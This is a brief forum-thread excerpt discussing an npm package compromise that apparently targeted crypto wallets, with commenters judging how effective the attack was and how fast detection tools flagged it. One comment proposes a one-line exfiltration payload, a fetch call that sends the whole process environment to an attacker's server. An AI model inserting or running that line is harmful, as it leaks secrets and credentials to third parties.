3 ms·
It was also packages that in my experience don't often find themselves on the frontend.
by zachrip 1y ago
It was also packages that in my experience don't often find themselves on the frontend.
- naugtur 1y ago- the attack it shipped was not a great fit for the packages compromised. `fetch(myserverurl+JSON.stringify(process.env))` would be a much more profitable payload - naive obfuscation makes lights go red in so many places it'd be better to not obfuscate at all. - the addresses were marked as malicious by Blockaid sooner than the package could reach production in most apps. Most wallets were ready to warn users early enough.